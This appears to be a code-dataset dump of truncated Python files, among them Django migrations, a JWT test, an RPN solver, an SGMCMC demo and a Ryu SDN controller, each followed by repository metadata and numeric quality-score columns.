from app.utils.security.jwt import create_access_token, get_token_data
def test_create_token():
data = {"payload": "User data"}
token = create_access_token(data=data)
assert token is not None
def test_verify_token():
data = {"payload": "User data"}
... | 28.964286 | 70 | 0.699137 | 116 | 811 | 4.62069 | 0.327586 | 0.251866 | 0.126866 | 0.11194 | 0.481343 | 0.408582 | 0.320896 | 0.320896 | 0.320896 | 0.320896 | 0 | 0.015129 | 0.184957 | 811 | 27 | 71 | 30.037037 | 0.795764 | 0.054254 | 0 | 0.3 | 0 | 0 | 0.10719 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.15 | false | 0 | 0.05 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd2de78641f23a54d90a635131b282d91c20a494 | 459 | py | Python | analytics/rogue_zone_airflow/qualify1.py | gtfierro/mortar-frontend | 3acda7e0bcb9876783553bb46221dbdd751c036b | [
"BSD-3-Clause"
] | null | null | null | analytics/rogue_zone_airflow/qualify1.py | gtfierro/mortar-frontend | 3acda7e0bcb9876783553bb46221dbdd751c036b | [
"BSD-3-Clause"
] | null | null | null | analytics/rogue_zone_airflow/qualify1.py | gtfierro/mortar-frontend | 3acda7e0bcb9876783553bb46221dbdd751c036b | [
"BSD-3-Clause"
] | null | null | null | def run(m):
sites = m.qualify(["""
SELECT ?equip ?sensor ?setpoint ?sensor_uuid ?setpoint_uuid WHERE {
?setpoint rdf:type/rdfs:subClassOf* brick:Air_Flow_Setpoint .
?sensor rdf:type/rdfs:subClassOf* brick:Air_Flow_Sensor .
?setpoint bf:isPointOf ?equip .
?sensor b... | 35.307692 | 74 | 0.607843 | 53 | 459 | 5.113208 | 0.396226 | 0.081181 | 0.118081 | 0.154982 | 0.243542 | 0.243542 | 0.243542 | 0 | 0 | 0 | 0 | 0 | 0.276688 | 459 | 12 | 75 | 38.25 | 0.816265 | 0 | 0 | 0 | 0 | 0 | 0.866812 | 0.20524 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd34e992009fb0feae951168c5f09a751a3e3aa3 | 3,191 | py | Python | source/Pictus/lang_convert.py | poppeman/Pictus | 0e58285b89292d0b221ab4d09911ef439711cc59 | [
"MIT"
] | 73 | 2015-01-19T17:38:26.000Z | 2022-02-15T06:16:08.000Z | source/Pictus/lang_convert.py | poppeman/Pictus | 0e58285b89292d0b221ab4d09911ef439711cc59 | [
"MIT"
] | 75 | 2015-01-01T17:32:24.000Z | 2018-10-18T08:19:08.000Z | source/Pictus/lang_convert.py | poppeman/Pictus | 0e58285b89292d0b221ab4d09911ef439711cc59 | [
"MIT"
] | 18 | 2015-01-05T04:57:18.000Z | 2022-03-06T01:35:10.000Z | # Python 3 only
# Quick ugly hack. Reads lang.json and spits out relevant C++ code.
import json
import codecs
def addLang(state, langName):
for index, lang in enumerate(state["langs"]):
if langName == state["langs"][index]:
return index
state["langs"].append(langName)
for index, val i... | 33.946809 | 91 | 0.564713 | 418 | 3,191 | 4.270335 | 0.294258 | 0.05042 | 0.043137 | 0.026891 | 0.103081 | 0.034734 | 0.034734 | 0 | 0 | 0 | 0 | 0.003261 | 0.231275 | 3,191 | 93 | 92 | 34.311828 | 0.724011 | 0.076152 | 0 | 0.028169 | 0 | 0 | 0.201972 | 0.035702 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.028169 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd39f1d1bf53f25f8d44d14939b68c2ee9725d14 | 1,060 | py | Python | wallet_API/migrations/0002_auto_20180815_1110.py | asutosh05/xrp-multisig-wallet | c4d40d9b6f23429b0611864845810cad0e5fe184 | [
"MIT"
] | 1 | 2018-09-26T19:27:54.000Z | 2018-09-26T19:27:54.000Z | wallet_API/migrations/0002_auto_20180815_1110.py | asutosh05/xrp-multisig-wallet | c4d40d9b6f23429b0611864845810cad0e5fe184 | [
"MIT"
] | 3 | 2020-06-05T18:44:06.000Z | 2021-06-10T20:42:44.000Z | wallet_API/migrations/0002_auto_20180815_1110.py | asutosh05/xrp-multisig-wallet | c4d40d9b6f23429b0611864845810cad0e5fe184 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.7 on 2018-08-15 05:40
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('wallet_API', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='wallet',
old_name='address',
... | 27.179487 | 74 | 0.557547 | 108 | 1,060 | 5.277778 | 0.444444 | 0.078947 | 0.131579 | 0.142105 | 0.645614 | 0.645614 | 0.580702 | 0.429825 | 0.429825 | 0.429825 | 0 | 0.039161 | 0.325472 | 1,060 | 38 | 75 | 27.894737 | 0.758042 | 0.042453 | 0 | 0.5625 | 1 | 0 | 0.126357 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.03125 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd423405e8eb1197b77e6a943fae843ac70587fc | 730 | py | Python | docs/scripts/custom-fix.py | HaidongHe/AirfoilPreppy | 5e9a61a471624197b5df06f83a488e4a7d82f0a5 | [
"Apache-2.0"
] | 23 | 2016-03-21T06:51:38.000Z | 2022-03-26T23:39:34.000Z | docs/scripts/custom-fix.py | daniel-de-vries/AirfoilPreppy | 875093ed28ff418f22e1daba952472c932f9eb0d | [
"Apache-2.0"
] | 13 | 2015-02-25T21:08:40.000Z | 2020-06-12T11:15:42.000Z | docs/scripts/custom-fix.py | daniel-de-vries/AirfoilPreppy | 875093ed28ff418f22e1daba952472c932f9eb0d | [
"Apache-2.0"
] | 23 | 2015-02-25T21:10:57.000Z | 2021-06-17T16:33:01.000Z | #!/usr/bin/env python
# encoding: utf-8
"""
custom-fix.py
Created by Andrew Ning on 2013-05-23.
Copyright (c) NREL. All rights reserved.
"""
from tempfile import mkstemp
from shutil import move
from os import remove, close
FLAG = '[width=5in]{dynamics.pdf}'
def fixit(path):
oldfile = open(path)
handle, t... | 14.897959 | 66 | 0.623288 | 100 | 730 | 4.44 | 0.6 | 0.054054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021858 | 0.247945 | 730 | 48 | 67 | 15.208333 | 0.786885 | 0.235616 | 0 | 0 | 0 | 0 | 0.108456 | 0.091912 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.052632 | 0.157895 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
fd444edb338bd51f76ae383538e544c92e54c99b | 625 | py | Python | exercise-4-sol.py | rougier/ASPP-2018-dataviz | 4b4c267e0c8979b17209945d12c91a8d37324102 | [
"MIT"
] | 7 | 2018-08-29T06:36:28.000Z | 2018-09-04T17:09:08.000Z | exercise-4-sol.py | rougier/ASPP-2018-dataviz | 4b4c267e0c8979b17209945d12c91a8d37324102 | [
"MIT"
] | null | null | null | exercise-4-sol.py | rougier/ASPP-2018-dataviz | 4b4c267e0c8979b17209945d12c91a8d37324102 | [
"MIT"
] | 4 | 2018-08-31T07:38:14.000Z | 2018-09-04T17:49:33.000Z | # -----------------------------------------------------------------------------
# Copyright (c) 2016, Nicolas P. Rougier. All Rights Reserved.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
# -----------------------------------------------------------------------------
# Scientific visualizat... | 36.764706 | 79 | 0.4624 | 58 | 625 | 4.982759 | 0.827586 | 0.020761 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030089 | 0.096 | 625 | 16 | 80 | 39.0625 | 0.481416 | 0.7328 | 0 | 0 | 0 | 0 | 0.088608 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fd47145ea8262c1c990a9c718089f3115665dd1f | 1,858 | py | Python | entries/models.py | seancallaway/SubredditLog | 93fc9ba8b941f49eeca2ba90c9523af8a1b3238c | [
"Apache-2.0"
] | 1 | 2021-02-12T22:15:45.000Z | 2021-02-12T22:15:45.000Z | entries/models.py | seancallaway/SubredditLog | 93fc9ba8b941f49eeca2ba90c9523af8a1b3238c | [
"Apache-2.0"
] | 21 | 2021-02-05T17:23:54.000Z | 2022-01-07T17:59:54.000Z | entries/models.py | seancallaway/SubredditLog | 93fc9ba8b941f49eeca2ba90c9523af8a1b3238c | [
"Apache-2.0"
] | null | null | null | from django.contrib.auth import get_user_model
from django.db import models
from ordered_model.models import OrderedModel
class Rule(OrderedModel):
"""Represents a subreddit rule to which a moderator action may be link."""
name = models.CharField(max_length=255, help_text='The name of the rule')
descripti... | 37.918367 | 117 | 0.680301 | 244 | 1,858 | 4.97541 | 0.393443 | 0.026359 | 0.032125 | 0.039539 | 0.112026 | 0.112026 | 0.112026 | 0 | 0 | 0 | 0 | 0.005476 | 0.213671 | 1,858 | 48 | 118 | 38.708333 | 0.825462 | 0.036598 | 0 | 0.052632 | 0 | 0 | 0.154148 | 0.011771 | 0 | 0 | 0 | 0 | 0 | 1 | 0.078947 | false | 0 | 0.078947 | 0.052632 | 0.710526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b5bbccb01bfe0233a621d7d045ecf00095a58db4 | 630 | py | Python | turismo/sitio/migrations/0009_auto_20170521_1852.py | giocastagno/I.W._Delpuppo_Kopech_Castagno | 821cf8e11eb78d9f478e642e9eb0db1534dc28b3 | [
"MIT"
] | null | null | null | turismo/sitio/migrations/0009_auto_20170521_1852.py | giocastagno/I.W._Delpuppo_Kopech_Castagno | 821cf8e11eb78d9f478e642e9eb0db1534dc28b3 | [
"MIT"
] | null | null | null | turismo/sitio/migrations/0009_auto_20170521_1852.py | giocastagno/I.W._Delpuppo_Kopech_Castagno | 821cf8e11eb78d9f478e642e9eb0db1534dc28b3 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.1 on 2017-05-21 18:52
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('sitio', '0008_auto_20170520_2048'),
]
operations = [
migrations.AddField(
... | 24.230769 | 68 | 0.598413 | 65 | 630 | 5.615385 | 0.738462 | 0.09863 | 0.126027 | 0.147945 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.079646 | 0.28254 | 630 | 25 | 69 | 25.2 | 0.727876 | 0.107937 | 0 | 0.222222 | 1 | 0 | 0.13059 | 0.041145 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5bd160ffe654c683d801763c2a47b5d8ff11f62 | 545 | py | Python | python/p150.py | forewing/lc | 314468a1a3bb7d38eccf1f34b0d1b7da04a34784 | [
"CC0-1.0"
] | null | null | null | python/p150.py | forewing/lc | 314468a1a3bb7d38eccf1f34b0d1b7da04a34784 | [
"CC0-1.0"
] | null | null | null | python/p150.py | forewing/lc | 314468a1a3bb7d38eccf1f34b0d1b7da04a34784 | [
"CC0-1.0"
] | null | null | null | class Solution:
def evalRPN(self, tokens: List[str]) -> int:
stack = []
op = {
"+": lambda x, y: x + y,
"-": lambda x, y: x - y,
"*": lambda x, y: x * y,
"/": lambda x, y: x // y if x * y >= 0 else -(-x // y),
}
for token in tokens:
... | 30.277778 | 67 | 0.379817 | 66 | 545 | 3.136364 | 0.378788 | 0.096618 | 0.154589 | 0.173913 | 0.193237 | 0.193237 | 0.193237 | 0.193237 | 0.193237 | 0.193237 | 0 | 0.017123 | 0.46422 | 545 | 17 | 68 | 32.058824 | 0.691781 | 0 | 0 | 0 | 0 | 0 | 0.007339 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0 | 0 | 0.176471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5c0db8efb4e1423bfe1d5011b50b8458cd8698e | 1,975 | py | Python | sgmcmcjax/examples/sgmcmc_nuts_demo.py | ColCarroll/SGMCMCJax | de1dbf234577fa46ecc98c7c7de4ef547cef52ea | [
"Apache-2.0"
] | null | null | null | sgmcmcjax/examples/sgmcmc_nuts_demo.py | ColCarroll/SGMCMCJax | de1dbf234577fa46ecc98c7c7de4ef547cef52ea | [
"Apache-2.0"
] | null | null | null | sgmcmcjax/examples/sgmcmc_nuts_demo.py | ColCarroll/SGMCMCJax | de1dbf234577fa46ecc98c7c7de4ef547cef52ea | [
"Apache-2.0"
] | null | null | null | # copied from https://github.com/probml/pyprobml/blob/master/scripts/sgmcmc_nuts_demo.py
# Compare NUTS, SGLD and Adam on sampling from a multivariate Gaussian
from collections import namedtuple
from typing import Any, Callable, Dict, List, NamedTuple, Optional, Tuple, Union
import jax.numpy as jnp
import optax
from ... | 28.214286 | 88 | 0.757468 | 316 | 1,975 | 4.598101 | 0.35443 | 0.020647 | 0.045423 | 0.053682 | 0.302822 | 0.283551 | 0.23331 | 0.23331 | 0.23331 | 0.176187 | 0 | 0.028406 | 0.126582 | 1,975 | 69 | 89 | 28.623188 | 0.813913 | 0.141266 | 0 | 0.288889 | 0 | 0 | 0.028453 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 1 | 0.044444 | false | 0.066667 | 0.244444 | 0.044444 | 0.333333 | 0.155556 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b5c390532c3f50de5911754557d9dbe17d77e4b2 | 1,905 | py | Python | Branch_Predict.py | KaushikKPDARE/BRANCH_PREDICTOR | f951514f31ddfaace330a867650b7690b85200e7 | [
"Apache-2.0"
] | null | null | null | Branch_Predict.py | KaushikKPDARE/BRANCH_PREDICTOR | f951514f31ddfaace330a867650b7690b85200e7 | [
"Apache-2.0"
] | null | null | null | Branch_Predict.py | KaushikKPDARE/BRANCH_PREDICTOR | f951514f31ddfaace330a867650b7690b85200e7 | [
"Apache-2.0"
] | null | null | null | address=trace.readlines()
print "the number of instructions in trace"
print len(address)
br=[]
for index in range(len(address)-1):
t=int(address[index+1],16)-int(address[index],16)
if t>15 or t<0:
br.append(address[index])
print len(br)
def remove_duplicates(br1):
arr2=[]
for i in br1:
if not i in arr2:
ar... | 21.647727 | 53 | 0.685564 | 352 | 1,905 | 3.704545 | 0.176136 | 0.07362 | 0.053681 | 0.092025 | 0.593558 | 0.480828 | 0.460123 | 0.391104 | 0.332822 | 0.242331 | 0 | 0.049322 | 0.148556 | 1,905 | 87 | 54 | 21.896552 | 0.754624 | 0.064042 | 0 | 0.506173 | 0 | 0 | 0.138514 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.185185 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5c9ce2bee60bce2230ca588a8222def3880e08e | 692 | py | Python | test/test_exec.py | tom-010/easy_exec | 17589c49028f73d60fded97bd9833d94208c4884 | [
"Apache-2.0"
] | null | null | null | test/test_exec.py | tom-010/easy_exec | 17589c49028f73d60fded97bd9833d94208c4884 | [
"Apache-2.0"
] | null | null | null | test/test_exec.py | tom-010/easy_exec | 17589c49028f73d60fded97bd9833d94208c4884 | [
"Apache-2.0"
] | null | null | null | from unittest import TestCase
from easy_exec import exec
class TestExec(TestCase):
def test_stdout(self):
stdout, stderr, has_error = exec('echo "hello world"')
self.assertEqual('hello world\n', stdout)
self.assertEqual('', stderr)
self.assertFalse(has_error)
def test_... | 31.454545 | 74 | 0.641618 | 80 | 692 | 5.4125 | 0.35 | 0.12933 | 0.110855 | 0.13164 | 0.360277 | 0.360277 | 0.166282 | 0 | 0 | 0 | 0 | 0.001919 | 0.24711 | 692 | 22 | 75 | 31.454545 | 0.829175 | 0 | 0 | 0.235294 | 0 | 0 | 0.116883 | 0 | 0 | 0 | 0 | 0 | 0.470588 | 1 | 0.176471 | false | 0 | 0.117647 | 0 | 0.352941 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5d0a01fe84fce7ce14fb3f012f81a9fcf4fe6ae | 15,640 | py | Python | exp4_twoSwitches.py | SanabriaRusso/MyFirstRyuNetwork | 7924eb7a00e02d13a36eeb9528801fb83397a259 | [
"MIT"
] | null | null | null | exp4_twoSwitches.py | SanabriaRusso/MyFirstRyuNetwork | 7924eb7a00e02d13a36eeb9528801fb83397a259 | [
"MIT"
] | null | null | null | exp4_twoSwitches.py | SanabriaRusso/MyFirstRyuNetwork | 7924eb7a00e02d13a36eeb9528801fb83397a259 | [
"MIT"
] | null | null | null | # Copyright (C) 2011 Nippon Telegraph and Telephone Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 40.102564 | 168 | 0.56202 | 1,922 | 15,640 | 4.332986 | 0.162851 | 0.012968 | 0.012968 | 0.018732 | 0.403458 | 0.316883 | 0.274856 | 0.231148 | 0.207733 | 0.186359 | 0 | 0.024129 | 0.342839 | 15,640 | 390 | 169 | 40.102564 | 0.786145 | 0.121547 | 0 | 0.272358 | 0 | 0 | 0.049428 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.044715 | null | null | 0.044715 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5d963cad80f7f94dc8744cc5ecac9d8d40017fe | 933 | py | Python | xtests/PUBLIC_MESSAGE.py | RealLau/xtest | e59ccaf4a80160ce87c1b09bbe7874739b70d0fb | [
"MIT"
] | null | null | null | xtests/PUBLIC_MESSAGE.py | RealLau/xtest | e59ccaf4a80160ce87c1b09bbe7874739b70d0fb | [
"MIT"
] | 4 | 2019-12-23T07:43:01.000Z | 2022-03-12T00:03:30.000Z | xtests/PUBLIC_MESSAGE.py | RealLau/xtest | e59ccaf4a80160ce87c1b09bbe7874739b70d0fb | [
"MIT"
] | null | null | null | REQUIRED_SECTIONS = ['模块', '标题', '描述', '前提条件', '步骤', '期望结果', '优先级']
# project: 1, module: 2, plan: 3, case: 4
NUMBER_TYPE = {"1": "project", "2": "module", "3": "plan", "4": "case"}
CASE_COLOR_DIC = {"Pending": "black", "Pass": "green", "Fail": "red", "Block": "gray"}
MSG_USERNAME_OR_PASSWORD_WRONG = "用户名或密码错误"
STATUS_... | 37.32 | 86 | 0.730975 | 137 | 933 | 4.583942 | 0.620438 | 0.031847 | 0.044586 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011976 | 0.105038 | 933 | 24 | 87 | 38.875 | 0.74012 | 0.041801 | 0 | 0 | 0 | 0 | 0.245516 | 0.056054 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.086957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.